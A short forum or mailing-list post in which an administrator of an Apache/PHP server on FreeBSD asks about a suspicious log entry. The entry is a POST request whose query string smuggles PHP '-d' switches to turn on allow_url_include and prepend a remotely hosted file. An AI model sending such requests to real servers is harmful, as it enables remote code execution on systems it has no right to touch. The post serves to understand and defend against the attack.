security query - apache log entry I can't fathom

A bit OT probably, but maybe someone can tell me what's going on please.

Apache 2.2.22_5 with php 5.4.3 on fbsd 8.2.

An entry in my apache log file is puzzling me. An obvious intended misuse of some sort (for one thing, very few have legitimate access to the site), but I can't fathom what this one is trying to achieve. I'm a little worried about the error code '200' that seems to imply they succeeded in whatever it was. Should I be worrying?

With apologies for the line wrap: - - [09/Jun/2012:10:56:03 +0100] "POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://

/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp:// HTTP/1.1" 200 430

(If it's relevant, allow_url_include is set 'off' in the php.ini file).


Mike Scott (unet2 <at> [deletethis]
Harlow Essex England